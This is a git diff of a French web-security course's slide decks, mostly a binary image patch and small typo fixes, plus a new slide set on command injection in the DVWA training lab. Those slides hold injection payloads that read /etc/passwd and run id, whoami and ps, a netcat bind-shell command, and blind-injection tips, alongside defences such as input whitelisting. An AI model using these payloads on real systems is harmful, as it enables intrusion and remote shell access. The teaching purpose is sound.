zG9;Nd#=0iUt6?YBBFOsfMl+o^GTx`c9;H-2HS|yGT*unw!O#vwTgrK~a<Ka{9}hhj zIvgu6Ee&>u?gk7gwo;+lLzYxnR%a%uV5t{AsHy*+^>aLo+uLCx@>%g=a25)I0Rqs2 zc+*C)@9~qjYEXms<pH>Cs{7emofFaR&}R7QHwIxnW4<+pcPICYLDSA#;L|$LCUp;e z3yDU5C3j#-O~;?Pz<e~d$6a?%GG=%fXwsZVDZ%!FC8jXRNXH=5zpFYd22VS|WnIX! z{lg$)aDKAKJ=7!Uug6e(o1Rh!A6&dICBs?yV}LD;wlx-aP9O|5g!PQZ@E#^J{P%M_ zTn{u^@@-1S;2>IwbB{bQrB3zWOAq4hai5g_)4Qx&vmug}B>{uW7#pieZvAHhl9oq` z^^DYWmnU0yKS+Xh3YUCKo~yV$4|$%OM!vTDM-Qj>^x#WR<D%?Nso7)mjy1StuT2m% z7F+vTf*sWyF~DSt)Ef>4-=5%NGd`5Is<6vt=MZvF&&Su3c$0cs>u)<JEH#|LR;aLn z&22KT_h8$f1#GdQV}S48O8@BXw@X6afo7acQw(BUvm)e3plww?vG}i;^LyUPp2XX0 z;E`hsN6g^X`n17CIJ=r^p&kAfXc7)wm`up87p}EI9<RYA&3Nopv{73F5ra9jbgY*T z4?+-cTHla5`VimH40?TS4W7)~SiNDbGS5S^DUjSCVzIu%!fkGIwb2eBUrhlQ{mfVp zgL}usPp?h|yHX(JmQs7%`3INE!*Z#BMsXIl@6hLwFgeF^Yt7xLmt0H3qn*KKUDK9W z1N7ciiwaKB+26~o@DPSgVwAWa`N77g7YCkIpaw&pyEsrykK?@^?ZJnG!f_T!Hfk+= zO-V{S%{n&MeWC-W9T;1d{_kg=Gi6VQ*bFI*#5324k)?ZFJ<J{VDqKLmX%1spmYK9k zz2Ue{YHjs*ytQna$@;EJLvkOx<{sqUP>qG+(zGk)vA-@DHMG%Is4&L4bps==H!nI2 z78@e^^}^RZyt7@_H)SXuMvEd9j(r%jJCye$oDeg}!MjWM4o}PTsCRC4^A3M4Wl*xn zpxS0LlBjc74wPEyJY#J;XGcZU^Azrne|#Sz$w@qbJ%!Q_hwEZBSX|OZy5aOdqeA-i z!l8GslN@BdS7-B3l?1O<=ZA;7?$+3ju*5USfv*(`Ls@=NM};kHqeLSKSf|uW8nrM~ zzwm+h_4O*#-|<#R-EAEG+_-ImqOw%{M?x<R3vVx&hrhV+ur<`zNCQtHj}!iS`b4u) zq1ZH(iL_*C2QC@b4=_WiZ+RoeeQ5k2!k-wyP~B5F@Bv$f6N~IYD3jyK^?BRD$~?b! zD#)cAuFif-L~mW#gjKy~!;%uBl{oLaIl_h_p^0Y%F1mH*geAjRf6+jRvv^V;naab$ zzjnn&#$rm3-h)G!644-N)-zJw0A^UjEJmbwf;&8xghM3P+ynD-|ArdQnllfAMspz} zR3hyc6a~F<XvT|NNhXvaDjc#*;?|Sn4hdSR@*RifqPX=#6Hm;P`t!xoo}we6cl${K zLWMj}!LH6ZHs)@dleNY}7*CyvVc{mTGA+(k*=$Djr4z?lr;I8)&X?{eOhvFgBS^gM zf<E=lg@@FTqLFJ53T)$CoT^h-V>$vGqu;FXH`t(<j6l6G_4cp(`JJKJK%R1}v*Wf3 zXiMDttZ(8*ar8zY-cI*+d*+Dy5ruN~P`yNk0vEG|N>i)xTaWWjd%9jylo|x>Kr_L5 zN`2j#I1ml`hC@fE>~P@$9wO;@$IPzEv2V>hVpRi2!e$$f2EST04o_peC9Pr{>o$HL zh4pP~7m}>Ky`DJdjIfEy@HcaIEvxuo>6>>r;pS*-h(x>{+Q@q!IPneLRn3b-#4zUw zC9?bs=@$K^b(kHD9BG^@J)~YZc{qq(3L2ZOC_;pVBn%@)O1FRML1a%P&PO7im|Zpn z{rS1$Dr6vhr}T;|C50mE*^YGC+tzC>xF7vOb(MO<3lr^xw?cReHa%BSC)_fil@yP$ zo6^-`cgC(FVx-eG&JOEc|62GqGMqf2ttfCNmtcI8T+sHZ_IHvoCI(@Hk8>rwnbLoW zc6cx0Rz?U+z&U`Hz2-$K-}?TycUZe33frh5c4h~%^yo)QbLoI=@PmS(#Cbf4ViTQe zKTS)yK}0BfHCxrikj-s{Id5=-tjh)_DEGCtBHo$CD5=a=KKNiMdKHmlJ9oO*+SlK< z^sT7pB?Ff-PvHU_Iz97#6ignTUvHdtSsQdla-}-Yf=x_P?#rm?=Z-nIefi&B9Lb*b z5F@Dgn;4n7b*^G9!(c0vF<i>lrb(d&;RYq=TH*Qi@*yQmSOY5_T-LD>x3A2Z@qK<u zN~PkzOsU|6Wd4Xn9wXP-+i%<WqM;-g=xm(~@FNalS5pf%Z|>3hdvMU4Vm?GW$&u6V zymf5C?aP+!$JHz>-M;@9?sDQ(67LBK=6TP)>N^>0=xQF|QP1#04pbB9dtJi!_h8!h zaEzrM?F@=`-W>KuHsSPTRP?148tsl;{E-LaogZ)gj)DJk=iIj#!bSvs5XuNo=gg)d z#?PJ|1RC`U8w0}!!s>R>;q4^0k&S)Qt}hrx<@S#}6!-L)3&)Izng3uxh8vOGj1t1- zoKxKxuUXe?U=UVq^Jmp&;Wi%|oI&APvRm2GH|_eff-AE0zlfc)Gxmx_LEn0EkCNeJ zk@9Q5gv)j=LO1P@UHjSpjBYFZ%@&V(?TIf2Nji^q!kJ7`>T{l=uRsD<N%<40TjOgq zF^MNe%d~UkFBcZAW$@=!`#=f9)3_Mz6A09xUjN+-8csX?di~Yd3ogR8WuzT|HX`MD z^}qJGQ?cW(`jB|S`1g;00i~8n=6SkaiSu|mDIA&yT)KRUj^4`-8wqX0&rZjMCe7K5 zQRs8)k^Tl*ag|#9?8$w>Tc`vhesTcw1#7zOe&pn1%0J1;P#{z&aSqRBwCdSQmU`g^ z&Ds+1<m&W4&t;5r$x&QZ+Mz9b>0xKrKbLld-|)NxePpHB=}x7uy{q_Vu9H+Sd}GsL zLs*B1LbJpq&t@x5$IAKm)Qc7>O2{SP@ijYxW<6)2C`FEjZl6%>3q~|$-v8Af?C6>G zGYEaTyNn=WUH^C6ezD+6k7UasYD1&yTP3?_ROs#*awzWOVJh`)sX9G+$!^HkURpTL zLIQq0Ke%Mr$Rrg?k$R<Qyw2WU!2PKmV022A{`S+a>Xp^K7y3#tD`qMs<;8zI^@@Do zu4IEEN0tm0-kfZSQs~X%g(5bWFu?;Xkg9sR8hKaRKLz(BYR_v}4*}GRZ^ar$*g}p% z1X*XWNRdWiVbC~K`V15G`mdx|F8wodZ=X?EeLDD!>{OGRpM2xyE2XbpSTrMylcVu? z1Sm1vkuuDu57me?gJOgQ_VWm;x|2<}{iXftj8C{mt%eiK`{*xmUrWJ3v5EB%afr>3 zuS=EMqp7gi$5svoz!)ig_0$`mdt$mzcR}AXOH*oE|K<7i4>pXuF{x*Oan@m>oBWXm zu+YqLs%tkp{c1uE;SnBWkxcbl|Dm?u40zqnFq~wb*6r!yn-iKm8yTZgH=V-uY=pee zuqwDLQXtM__h_f2I8%P+o}c!=db017chh=@_4_|5T-RGNb%SA?^$0GlB=KU6*RkIB z9KRP%fC6RC<9VE2bu4!?Fq)mraSV@c5H_>~$j2898pTG=VT57?+JP{_2!5}nMi?U( zqc1frwxTQ7?)hmy)@-Af31CVcvM&7I)@Kky=4rBQ>2aEuqci*)ugGCI#9oS|sw%ag z+>0lod-X%moT#b@@t;qHQMQmnQ*QH5_Uc`hG2icNy)(>2bUs&UXGE6nJovnq=>E)# zT0ati5ix&s#<u+vBRWR1+AU-QZmY(k$kB+qOB>RpsqiolQ^cax<Zey&7_HuL5RNk! zb2!l$GHhlHT{j1!ymag6T>jAfw@_j(LVv2~8j<pB>8X1T_dm=+0z)l;805W27d~XP zxY2?!HR-DRquWv-sc!-og&;zOC4`H34%-mQExFG%x-ED;>Dg5iE48CwaIx9Qxr|e( z#}!9uH{FAFwKCyrtisj0{J}j(lc8Ng#Dgip9ev-y?<m_;or+=Bml;gek`1~R17wM= zRv3ybF~;RQlQXa=wrvORKeyYhuBff69zj#>5DXPktmjE=MJP~<uZ+^NBGvJopDvsU zS!-Pnb}f79o8|)~ma!?Zcu6B-e)9#Fe`fvJMWaGHlQn0M>**#CiX4kL*fwC1Lvw`3 zI7)>y77ZU?XN~ROnAoqlpgGP$h<97iIAj=SoIGw-tMgiq0)sF?I>akgVJ3=4)3NNr z!zXv#dZ!7QXtp;JOXMzQ%D(AePyYFWV-Y@H#Sku{ub*iVmj%jf<ykz7b4gL8*=f@` zp;Y^(@jD*8WkJ1?oCyYp44XKcEo3OxlTgI5hgI91>Q+anWdHRKB2J<FzFY5nv7Hp{ z5+oj=jWzSB1K(6ul<o~@#ZZMs9M0hBJc}m-OE@hLrSk!4A5unz>A6RmrbL=;Y-1}~ zN|f4?P)2Vt+^lRQgUVnn+|Dgi_8kcZgCzRgg)dlljh_9FlRxL^aFljAqrRI(P`&*O zwKW(7n>0}52!}a^gX)+M?zX)_KW(4rSQg|-Qky)JWKp<nE5+i{PBC5|YJ=)1GaGVN z*=SoWeY^5X7WVYJDOw8>-802-n|lB3$xqE{30bd%$ZllXtkSp;phAH%8P4Z&p2G!X z&^WkgsLnQc7H?;tq9)#GF6pK5mg)?$XHjQ3gL62O9ELLG1ZY<qwtLqhJ^gr%vqhC0 z=M#Hok0zYyG4YXZN=@qzTsQu%bSP3AGHmTxMsbt{A2&f<7!)=sz~v+dn5Te?i(u27 zVLq9gBY1wjnW}uvl3_h53<k$1vaX-2)MS_pvEuhsU_@V&3ZgZo=`Z|ozp*Ht7=(%? zm_OaUZHIBg*aX7H9zm3f0!Nd5-SFh7g+&_0BD2hJf+Y&Ls479c{c>v|2vJd!pEa+c zut0@L(&SJ$=&GD;?^VB7rI_gPiuQ6KH=XM$YvD6rcwJJyyVhO|0K2WPod4`wH(a1Y zY(iy7vl%<UL2NkQbNy;R@T8x{u*h*1S!9U{4h~>fDOd|lZJhz=B&1La+H|Yur$~_{ z&o~nt<}eDUX-CCYB=K|&X~qKYmS!$+sBLI>qDl`Qc*W+&`U&{#hJid!BVwjrvgNZA zTPyU|_B5kx>T=TsILU0Xs%RSwo>t(+uNjIISY(L;1r{k#z^xKcs&cFmV%n_6Yp6@N zEP3+e$T7kQS#p3wk$XARW!4}Wk>aTdImWuwD8L-WfS0`fNh>KmUU==7zcmPXH!yF; zls)ad_YLbll`|4zgJr`g>qvDBJ%VP2`B+0;RMZ^Bp8WGZJCvwUp+tcq4rMA-s5vca zZfHRvSfogiCP$hqX;RgYR#gqc)PTa_Cmi(AK$4@K_d8GC$3yCcMTMgs;=0Ax@A;b- z+jk5k+vA{~s4_;ZsgIp?Rmw<+Ry0}07@;{h+fZbtkHE!v@P<^6P6`WE)%9wLzcnt6 z1mJ?_w6&^wp;X;7o(AXA$QA9ys#v(}Ym<7(nM}=}Q{+iE-A%zzW~sg(W?&7*fXsdD z%WpMC29#=ja8Ff?Tu167=Uii)FmuuxMVc&GY@kA!0%bzF0|y50Q8b3x+F%QfTW9M3 zH3k=|Ps;z+DqQw+uqiq?$)2{tCR0@s9309$oG48-IM{O^{nFcZ%g#i7cg+}}IPvE7 zKJb-IzY@;AZH^Q1WX>|=LF<BWbEjd~hZyeX5UHN^g-5q~T8*KQHMm$yU;M%j!3=Ph zmH`R@F$~W06fslE$f;|O{K&P!iEF72TeX2}WuVzzEP?;R)~C3LGjS8sU4y2^!u762 zyR!;+ajlVS2bvgXz)#nRn73Yj{_T^a%BbXKn1_VH^;e;}pM!NXrXTd*%O=_xq%`Ng zX!nnji$n3pfK@0lQ|iNa7G6KMWXy0k-|Gj1&n)U9T*O&@OTGSkX<BJ#D)Z)byMHt_ za49i_@$Bl<uFAWAZDMy`Suq0Rhl}{pchOt2&^*v&X2hwZ|6VkGHi+XEc7Ey0Q}*=0 zH_R9c5pGCbQ~8TmXFfNo)N-4tff%kxHYgwGN|f`H=tKRJMwPVl8+*QRb!yiTvONxk z2G>-k>_7NI>9vcFQD)f^`~+k0NxR!27%VR4j7W<YYe<@QqAC^VwR^rWWe<aP!-~Vi zlX}-*mHVr7Zly`R<yAcehy5I?$Hjz0^0adb#kcLbaX8WrhDbcP-M+&4%h%*@%%o+- z=z1%`-ccAH;PD6+Zo;%Ph+C=r*5^Mn4Bf7Vp%UPR)HRh4{+G;0vl$g)26wPn36!fr zaCoq)>xBt1?H|pwGf;Nl{F$4cmAY$)nY@QO=v`Bpvj5ws=H9TRUCeT9hDP`Z;$gyI za}j4yCRh?A)ALpbiZP<~8$NT>i|t|3Zpg%gX=f_^KXxy^X31z7u3vBE(X9c4i{b*# zAZV|WWFuGrj4`5=dhIP=m`V>O2BkZeLF`PWr_1mDwUJxKb5`iJ8U0|T(yfMCOrOHA zud81#`B`19QB>4xZ`!>hy{Eq&M`K_)#yh#ezNYe?U(J1LV$2?(g*!OHHHUvT2ZqM2 zsRo6^103<8Uh>jTYm_R>8*cpk)u~;vHihaB%cSD(wsyL2z5GeLHa)|*lK5_XgS?Ag zuxJXa8e!*Dy>Q9ooe~WDInd@@8NeXxV)4_FYd-w7VOp}yST@^ox3$xK$0Zxzv;J4m zB1zb|!+2>8kY|i^JwVi<%mPb9zm@*|RXFVDFc!`0-TFsUJ;rFUod3Q4+7Eqihc$@x z6k)KOP7Q^IcYkd2HI}wQtj*|#;f)don@L7!4a!v*7C99<UvsUlZV)sNav-F0C30)V zb#2?ZQQmrU(R%{RgXNq<&{N8&cfRS+#|ui7)?pr-U%shf!H}wEfNFhO8p9|XL$3Sn z-D`uzg>0dcP`qBFHNj|CGPb_u(^uVGnp#HMEw97_klU@_NdNw?W#6AaL%H3uOsy2V zbW7JfeFiJk>ff+46AfLjUo^MqYLuMFzT@QIP)If*MRY7T@j%2F-gU*q$2VMnR%)e? ztQCU8MkabJJU_+BK)DxXF4n^3f!L8Nel0pWt<1yj8*l!4ZCS!{V)>`*&9!Q`^(VJ~ z@5-Z}FDQqV8NH&(kncep!zh`q)QqMS2rjA`DjFZnVE`_o<ksw~ZvOfXYw%&7y|Mff zuL*xTJ^GH(ly=q1S#SY(G+4*F5G7AB>yx`Q?o(E1?yFk3(b2S6Q7a4AdGDvMjoFa_ zU`0J(n0n*nZ?1d3gL189+IGGhHZszaK*9pY+iq!pSD|otkOMJRq}A8OX^o|v|C{^V zuIu~iO2SxC#4}1Xyyu@LesK)9Vx?9R^@4NLdr%ZP-1c3+*AQ=6P;FL4JI1y!-@NGx zFOOHBok<WYig>Wwf}Pp-zb^mZN6s^jvX(n|%7Z~wE!toxiX3UOdy@%Z5?mhQVBMu0 z<{SWHv}@V=(bR|3r_Y%ACc_Q`2*!$du+1=H8O>{6c-i#&D?m)*^Jy`$H3ad5B1aSV zEk;`wR3BoEMv44;=1)HM4=YXDL7%%f4gz9Ox2r3@oqqKNzcczfqvH<tFmm?vfT2>~ z8!ZS<;<T$-xEDfI>UBrMoX~=pvi)KG7au)zpPkHJJjr6&AE`f#5{<n74C|}8XJrx8 zvXW15nP4(R$&<cTZNI1mA>3C@e9^rWcnNnja*w(4yd%@j(AH~4#Pa*`d?DHh<_{14 z{m;(*{=&%$uIO&r42J-NQ0SS3S#T)~;5pZVu!M`))-~}?wN+P(E9#Va=RME-^nqz- zYM^N-`oRj7cvXl&%%7Z{xgq`Yla{N+^uG^y%#Pr&fptA+E>0wvso6twZ3<JBdad-X zQd4V`(%9eRzufo;?Fmd*7*;m%fF0Hz_p)`bdR_h%qp!@sGFrOAW^!HRp21=%@l4Hr z@p^7c&{Vygab2+m^=<vt^`H97<I5NB6c#I<c#V0*_r5Lv_OT~vBRaJ#&SitmMxPC^ zyfog69FG_n)w?}EC^Y+97DF10>#DR=4rOk7&If+`Br9Cjc~}L+1LSJ^23Pd^o>6|w z<m*N=uC^r7_CX23i^t2ig|R6#OPuU$R<*OG?ne|Z4|1rQa!?!BD5V{>o4>mGyRaj@ zCr)C5p<{Ir52`CQcBG$iS@HKa|3<2wBzCwkK#nm|r0`PC#*aV_Y9si#0`BJ!R&`f% z>z~tq{`hzQVF@+G%5$9fWAzXZFI*m8oPF8Pr+#PTr8!Yp#te07cx~H(6m|k@F8t~b zSIROK9+0Cb)W4VBv+edjpNAdRa>v+3!Kxx2AX74}VamRF``bR4{<&P*#w4_6qZe8i z-!!6nhbQZ*r3^+Zm@nOb7a!p7cU53YO|RT#!@gK;#DgZ)`Q2|Cxib4gd%Z%m^s#EA zH-@#4sAm~%(8^FbS@>4zU*7q#>es8lm}tjpBwh`Ifw#T<>^EgznBQze1*KH-p|vZ4 zbb>Kjqe)d*I#&Aj!4LoSH=w@d&?>}gCLTMim#b?kFm+|-*K#kLI8S4Yr9~wZU^}cQ z+M9IR80{(%#q3WPzft+ppWF&l>3iLk?yC#JswN)54r@2!V*k<4tp7RpO}VFLm0(;u z+HTEl80N~gU<j^pv{;6sF5M?L9Q(IF|1lL~?PN8R4o(B&0WxL%v15QgxM2KwnP0VE zwqd-Cw{<}@<!88~R&UZdXbc%n&X;a0e`(>nfAJ6q*V@y|IB%U4P6y%v$ZoY)rXBdN z<C`asz3|*Wv@gtLs~doZ+SF<V(aso*c$-$03gw3$egC=Ne)QB|&B2tt-3)H8o#Eni zAszrz>N?|%uv6LjSDkUCby?;qRyKt}p}alse6DvnW<a`pZ4fOQp@JzE_PIZJ_}0yT zH(dlUa-FOe=WrODR>T9U5iQ=wOVTgDY};FMmzt;LGC~S%l!JxTB;fMQ__jj4oSX(% z+e#`J3MIK`Y44H0F8;8VkJyN;oK@`!;q)V30}X%QTk=n?ykvBfIdg(CS}VkWsNp}) zMr#5XW3<7DK~$O<tOJY3tZy#vpZZAq6`X!Jorwn+*`qee6%M@dqH{O$f^}z?uE=c{ zENrx)EJ`d90U7KwZpvQb>2SulMoUVRw_kT*Z~FGx$K~6HkAHX{+-@H;JM{7|x*jA> zbK-fJvR}d#)zIDF+kWoP9J+ABD|5N>#ak>z0aqgmWrW()+hCr!F~%5NF<>l}#c<Tv z_m-B9e|5`4kKcX$Ua!>c_BUCcjCI4s6M}dEQ);`MQbqN<C4m2V?nuhrwtnLHcKeNE z=cC0+VWAO>5fmcHY+7p27^5+Gu?(6DxJE7hM1OMfo|!p0P%2M93h<#!R!{1^=5#V3 zg7AbPUJW~}m#a5d8c+AlXJ3?`&o91y^3r^&vXM(ht6QpjCa_c^PrOj1#?7jQ1~i8Y zc%O8=gtu|BS5h+%ds8P$&g|Z?o3cy$mOlDe?JUJdQ@82W?huZOCmitrkST%fvR6FE zGoYr@<D%8W&)+tgN>|Qzo}0TQn-!dlWXW1$S7ZMgx2riirTH6!L&ZqZ6jcdIrQ!qf zoy>!k^0AX=en;s!GhOi_Multb?Pjlm)fQKh44#<8Yl4yMq~`tW#Iv_Q>#~Upv)jf- zQpyMlr7dIWjFVGo$r_<ViLzY~M>%M;F_?wI{K2LD-~Pdm_Qq-PiGn9Q@nXSZV*AJi zc`XMDKPa%s;&OLr^<j;8!H_9|du2z<mpimFjiFZfe9NNCJzVmH9YDiljd*b&08;|f zHN|cXYgoe?*06>(tYHmnSi>6Du!c3PVGV0o!y4AGhBd5V4XYOa52_7y>S$S{+5i9m M07*qoM6N<$f(7R4m;e9( literal 0 HcmV?d00001 diff --git a/content/slides/1337/md/authentication.md b/content/slides/1337/md/authentication.md index cf377a4..0b7650b 100644 --- a/content/slides/1337/md/authentication.md +++ b/content/slides/1337/md/authentication.md @@ -23,6 +23,7 @@ # quelques techniques +## du world wide web ## apache & .htaccess @@ -273,7 +274,7 @@ Note: ## force brute * par dictionnaires - * liste d'utilisateurs + list de mots de passe + * liste d'utilisateurs + liste de mots de passe * optimisable avec de la probabilité, [des dictionnaires au hasard](https://dazzlepod.com/site_media/txt/passwords.txt), de l'ingénieurie sociale, du flaire etc ... * par recherche * combinatoire @@ -351,12 +352,21 @@ unshadow /etc/passwd /etc/shadow > mypasswd ## 2AF + + https://www.google.com/landing/2step/ ## Yubikey -[](https://www.yubico.com/) +[](https://www.yubico.com/) + + +## SSO + + + + "Identity providers (IdPs) supply user information, while service providers (SPs) consume this information and give access to secure content" ## <i class="fa fa-medkit"></i> Se protéger diff --git a/content/slides/1337/md/cmdi.md b/content/slides/1337/md/cmdi.md new file mode 100644 index 0000000..99787aa --- /dev/null +++ b/content/slides/1337/md/cmdi.md @@ -0,0 +1,148 @@ +## Command execution + +### [security low](http://dv.wa/vulnerabilities/exec/) + +* exécutrion de commandes arbitraires sur le serveur +* aussi appelée [command injection](https://www.owasp.org/index.php/Command_Injection) +* triviale mais assez rare + + +## Command execution + +* paramètre non filtré + * la commande est écrite en dur + * **&&**, **|** ou **;** permettent d'entamer une chaine d'instructions + * exécutée avec les droits du serveur (thread) + +```shell +localhost && ls +localhost; whoami +localhost| id +``` + +* le réseau est également explorable + +Note: +- dvwa à brutforcer + - non y a le cookie qui coince :/ + - admin:password + - https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/ +- ce cas est faille assez rare +- il faut injecter des commandes que le server connait + - win/unix/linux/bsd/solarix/aix + - pool de commandes par défaut +- l'enchainement d'exlpoits est laisser à l'imagination du pentester + - plus il est expérimenté plus il peut créer des attques complexes + - plus il peut aller loin dans l'exploitation +- Regarder le code + - Que peut on faire pour améliorer + - DVWA Security -> medium + + +## Command execution + +### [security medium](http://dv.wa/vulnerabilities/exec/) + +* les chaînes de caractères "&&" et ";" sont interdites + +```shell +# Pour y voir plus clair +1 | ls +# Plus intéressant +1 | pwd & whoami & ps +1 | uname -a & users & id & w +1 | cat /etc/group +1 | cat /etc/passwd +``` + +Note: +- approche liste noire toujours perdante + - liste de caractère à échapper +- résultat visible + - affiché dans la page + - méga rare +- aveugle + - certaines pas faciles à détecter + - adduser / mkdir lors de la création de compte + - un username se terminant par + - ;cmd + - ping réseau + - on sait si ca a marcher avec le temps d'exécution du ping + - si ca rame au chargement de la page + - c'est que le ping est en train de s'exécuter à l'infini + - sinon sniffer le ping de retour + - si pas bloqué + - ping -c3 127.0.0.1 pour mémoire + - résolution dns d'un domaine maitrisé connu de nous seul +- Regarder le code + - Que peut on faire pour amliorer + - DVWA Security -> high + + +## Command execution + +### [security high](http://dv.wa/vulnerabilities/exec/) + +* l'approche est ici différente + * on ne cherche plus à éliminer les caractères dangereux + * on cherche à valider que l'entrée est bien une IP + +```shell +$valid = preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $string); +``` + +Note: +-détailler l'expression régulière + + +## bind shell + +* injecter + +```shell +1 | netcat -v -e '/bin/bash' -l -p 1337 +``` + +* puis sur le terminal de l'attaquant + +```shell +netcat -v dv.wa 1337 +``` + +* \o/ nous disposons d'un accès à la machine i + +* avec les permissions de l'utilisateur www-data + +Note: +- revenir en medium ou low security + - on peut le faire avec cookie manager + +- netcat couteau suisse réseau + - permet d'écrire sur un port +- soumis a pas mal de condition en vérité + - marche que dans un sens + - DMZ coupe tout le sortant + - reste possible dans ce sens + - mais faut passer d'eventuels friewalls + - et netcat peu avoir été supprimé + + +## <i class="fa fa-medkit"></i> Se préserver + +* éviter les commandes [exec](http://php.net/manual/fr/function.exec.php), [shell_exec](http://php.net/manual/fr/function.shell-exec.php), [passtru](http://php.net/manual/fr/function.passthru.php) ou [system](http://php.net/manual/fr/function.system.php) +* utiliser shell_escape_args() en php +* utliser JSON.parse plutot qu'un eval() de JSON +* utiliser des lib spéacilisées + * [<i class="fa fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem) + * [<i class="fa fa-github"></i> symfony/Finder](https://github.com/symfony/Finder) + +Note: +- faire marcher le bon sens +- Note le cron de drupal est pourri parce qu'appelable via des url + - utiliser le cron system + + +## <i class="fa fa-medkit"></i> Se préserver + +* liste blanche +* cron pour les traitements récurrents +* ne pas installer `ǹetccat` diff --git a/content/slides/1337/md/http.md b/content/slides/1337/md/http.md index bdef56c..666d426 100644 --- a/content/slides/1337/md/http.md +++ b/content/slides/1337/md/http.md @@ -20,8 +20,8 @@ # HTTP * inventé par [Tim Berners-Lee](http://fr.wikipedia.org/wiki/Tim_Berners-Lee) en 1989 -* en [version 1.1](https://www.ietf.org/rfc/rfc2616.txt) depuis 1999 -* version 2.0 en cours de standardisation +* [version 1.1](https://www.ietf.org/rfc/rfc2616.txt) jusqu'à 1999 +* [version 2.0](https://tools.ietf.org/html/rfc7540) * basée sur [SPDY](http://fr.wikipedia.org/wiki/SPDY) de Google Note: @@ -64,6 +64,8 @@ Cache-Control: max-age=0 useless data </code></pre> +Connaissez vous Burp Suite? + Note: - Connection: keep-alive multiplexage de requête - envoyer plusieurs requêtes HTTP via la même connexion TCP (SPDY utilise ça) - Accept-Encoding: gzip, deflate commpressions supportées par le navigateur @@ -289,10 +291,11 @@ Note: Access-Control-Allow-Origin: http://www.foo.com </code></pre> +* <span style="color:red">* </span> dans le cas d'une ressource 100% publique + ## [CORS](http://en.wikipedia.org/wiki/Cross-origin_resource_sharing) -* <span style="color:red">* </span> dans le cas d'une ressource 100% publique * autorise tous les verbes HTTP * remplace [JSONP](https://en.wikipedia.org/wiki/JSONP) * qui n'autorisait que la méthode GET diff --git a/content/slides/index.html b/content/slides/index.html index fd58101..0bd7877 100644 --- a/content/slides/index.html +++ b/content/slides/index.html @@ -32,7 +32,7 @@ Pentesting <ul> <li><a href="1337/gathering.html">Collecter</a></li> - <li><a href="1337/detect.html">Détecter</a></li> + <li><a href="1337/detecting.html">Détecter</a></li> <li> Exploit <ul> diff --git a/content/slides/privacy/md/TLSvsPGP.md b/content/slides/privacy/md/TLSvsPGP.md index 5a77525..8e4ecaa 100644 --- a/content/slides/privacy/md/TLSvsPGP.md +++ b/content/slides/privacy/md/TLSvsPGP.md @@ -1,15 +1,20 @@ -### X.509 +## X.509 * Certificat créé par la CA * 1 seule signature : celle de la CA * Chiffre le tuyau (TLS/SSL) * Confiance centralisée * Confiance distribuée * Forêt d’arbres de confiance -### PGP + + +## PGP * Certificat créé par l’utilisateur * Plusieurs signatures * Chiffre les messages * Graph orienté de confiance -X.509 centralise la confiance sur les CA -PGP distribue la confiance entre utilisateurs + +## X.509 centralise la confiance sur les CA + + +## PGP distribue la confiance entre utilisateurs diff --git a/content/slides/privacy/md/crypto.md b/content/slides/privacy/md/crypto.md index 9361dfb..f151091 100644 --- a/content/slides/privacy/md/crypto.md +++ b/content/slides/privacy/md/crypto.md @@ -259,7 +259,7 @@ note: ## Signature en pratique * Bob a pu vérifier - * la clé à l'origine du message **autentification de l'origine** + * la clé à l'origine du message: **autentification de l'origine** * l'**intégrité** du message **autentification de l'origine** + **intégrité** diff --git a/content/slides/privacy/md/tls.md b/content/slides/privacy/md/tls.md index 3160278..ecd999c 100644 --- a/content/slides/privacy/md/tls.md +++ b/content/slides/privacy/md/tls.md @@ -65,7 +65,7 @@ * **Serial** * Algorithme de signature du certificat * **Issuer** le signataire (***DN*** de la ***CA***) -* **Validty** début fin de validité +* **Validity** début fin de validité * **Subject name** **DN** identifié par le certificat * **Subject Public Key** * Extensions (ajouté en v3) -- GitLab